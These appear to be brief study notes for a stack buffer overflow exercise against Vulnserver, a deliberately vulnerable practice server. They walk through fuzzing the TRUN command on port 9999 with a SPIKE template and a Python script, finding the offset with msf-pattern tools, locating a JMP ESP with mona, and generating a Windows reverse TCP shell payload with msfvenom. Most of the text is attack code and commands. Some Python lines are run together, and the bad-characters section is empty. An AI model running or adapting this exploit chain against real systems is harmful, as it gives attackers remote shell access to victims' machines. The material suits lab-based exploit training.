Vuln Server

Steps required to overflow

  • Spiking
  • Fuzzing
  • Identifying Bad Characters
  • Finding JMP instruction
  • Getting reverse shell


s_readline(); # read the banner
s_string("variable "); # specify the variable
s_string_variable("input") # specify input for the variable
generic_send_tcp 9999 ./spike.spk 0
s_string("TRUN ");


#!/usr/bin/pythonimport socket
host = ""
port = 9999
buffer = "A" * 5000s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host, port))
s.send("TRUN /.:/" + buffer)
print "[+] Buffer sent!"s.close()

Finding the Offset

msf-pattern_create -l 5000
msf-pattern_offset -q 386F4337

Identifying Bad Characters

Finding Jump Instruction

!mona jmp -r esp

Getting a reverse shell

msfvenom -p windows/shell_reverse_tcp LHOST=eth0 LPORT=2222 -f python -b "\x00"
